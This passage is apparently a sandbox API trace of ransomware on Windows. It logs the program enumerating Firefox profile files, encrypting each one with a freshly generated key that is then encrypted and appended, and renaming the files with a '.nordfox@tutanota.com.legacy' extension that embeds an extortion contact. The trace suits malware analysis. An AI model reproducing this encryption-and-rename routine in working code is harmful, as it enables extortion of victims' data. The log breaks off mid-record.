dwReserved1=0x728d443f, cFileName="1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4", cAlternateFileName="150478~1.JSO")) returned 1 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785d8 | out: hHeap=0x520000) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78aa0 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67530 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78aa0 | out: hHeap=0x520000) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0200.443] GetLastError () returned 0x0 [0200.444] SetLastError (dwErrCode=0x0) [0200.444] GetLastError () returned 0x0 [0200.444] SetLastError (dwErrCode=0x0) [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785d8 | out: hHeap=0x520000) returned 1 [0200.444] GetLastError () returned 0x0 [0200.444] SetLastError (dwErrCode=0x0) [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6110b0 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63070 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6110b0 | out: hHeap=0x520000) returned 1 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63070 | out: hHeap=0x520000) returned 1 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7ef0 [0200.444] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147ab83f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x147ab83f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x147acbbc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1959, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4", cAlternateFileName="150478~2.JSO")) returned 1 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78d48 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67d00 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78d48 | out: hHeap=0x520000) returned 1 [0200.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578f18 [0200.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67d00 | out: hHeap=0x520000) returned 1 [0200.444] GetLastError () returned 0x0 [0200.445] SetLastError (dwErrCode=0x0) [0200.445] GetLastError () returned 0x0 [0200.445] SetLastError (dwErrCode=0x0) [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0200.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f18 | out: hHeap=0x520000) returned 1 [0200.445] GetLastError () returned 0x0 [0200.445] SetLastError (dwErrCode=0x0) [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78c38 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63188 [0200.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78c38 | out: hHeap=0x520000) returned 1 [0200.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63188 | out: hHeap=0x520000) returned 1 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x150) returned 0x5e6a90 [0200.445] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4853f871, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4853f871, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x48566a5e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x173b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4", cAlternateFileName="150478~3.JSO")) returned 1 [0200.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0200.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67c38 [0200.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5784b0 [0200.445] SetLastError (dwErrCode=0x0) [0200.445] GetLastError () returned 0x0 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79870 [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62e68 [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x150) returned 0x5e6ff0 [0200.446] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdd249bf, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcdd249bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcdd249bf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x198a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4", cAlternateFileName="150478~4.JSO")) returned 1 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] GetLastError () returned 0x0 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79760 [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62fd0 [0200.446] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8403501, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a68, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4", cAlternateFileName="15CA1A~1.JSO")) returned 1 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] GetLastError () returned 0x0 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b0) returned 0x5646a8 [0200.446] SetLastError (dwErrCode=0x0) [0200.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f795c8 [0200.447] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce7988, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x7ce7988, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x7ce7988, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.447] SetLastError (dwErrCode=0x0) [0200.447] GetLastError () returned 0x0 [0200.447] SetLastError (dwErrCode=0x0) [0200.447] GetLastError () returned 0x0 [0200.447] SetLastError (dwErrCode=0x0) [0200.447] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce7988, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x7ce7988, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x7ce7988, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4", dwFileAttributes=0x80) returned 1 [0200.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c50 [0200.448] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6760) returned 1 [0200.448] ReadFile (in: hFile=0x1c50, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1a68, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a68, lpOverlapped=0x0) returned 1 [0200.452] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=-6760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.453] WriteFile (in: hFile=0x1c50, lpBuffer=0x30d6aa0*, nNumberOfBytesToWrite=0x1a68, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6aa0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a68, lpOverlapped=0x0) returned 1 [0200.453] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a68 [0200.453] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.453] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.453] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.453] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.453] CloseHandle (hObject=0x1c50) returned 1 [0200.454] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.457] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0200.457] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.457] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4", dwFileAttributes=0x80) returned 1 [0200.457] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c50 [0200.458] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6538) returned 1 [0200.458] ReadFile (in: hFile=0x1c50, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x198a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x198a, lpOverlapped=0x0) returned 1 [0200.472] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=-6538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.472] WriteFile (in: hFile=0x1c50, lpBuffer=0x30d69c8*, nNumberOfBytesToWrite=0x198a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d69c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x198a, lpOverlapped=0x0) returned 1 [0200.473] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x198a [0200.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.473] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.473] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.473] CloseHandle (hObject=0x1c50) returned 1 [0200.473] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.475] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4", dwFileAttributes=0x80) returned 1 [0200.476] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c50 [0200.476] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5947) returned 1 [0200.476] ReadFile (in: hFile=0x1c50, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x173b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x173b, lpOverlapped=0x0) returned 1 [0200.477] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=-5947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.477] WriteFile (in: hFile=0x1c50, lpBuffer=0x30d6778*, nNumberOfBytesToWrite=0x173b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x173b, lpOverlapped=0x0) returned 1 [0200.478] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x173b [0200.478] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.478] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.478] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.478] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.478] CloseHandle (hObject=0x1c50) returned 1 [0200.478] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.480] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.480] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4", dwFileAttributes=0x80) returned 1 [0200.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c50 [0200.480] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6489) returned 1 [0200.481] ReadFile (in: hFile=0x1c50, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1959, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1959, lpOverlapped=0x0) returned 1 [0200.493] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=-6489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.493] WriteFile (in: hFile=0x1c50, lpBuffer=0x30d6998*, nNumberOfBytesToWrite=0x1959, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6998*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1959, lpOverlapped=0x0) returned 1 [0200.493] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1959 [0200.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.493] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.493] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.494] CloseHandle (hObject=0x1c50) returned 1 [0200.494] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: 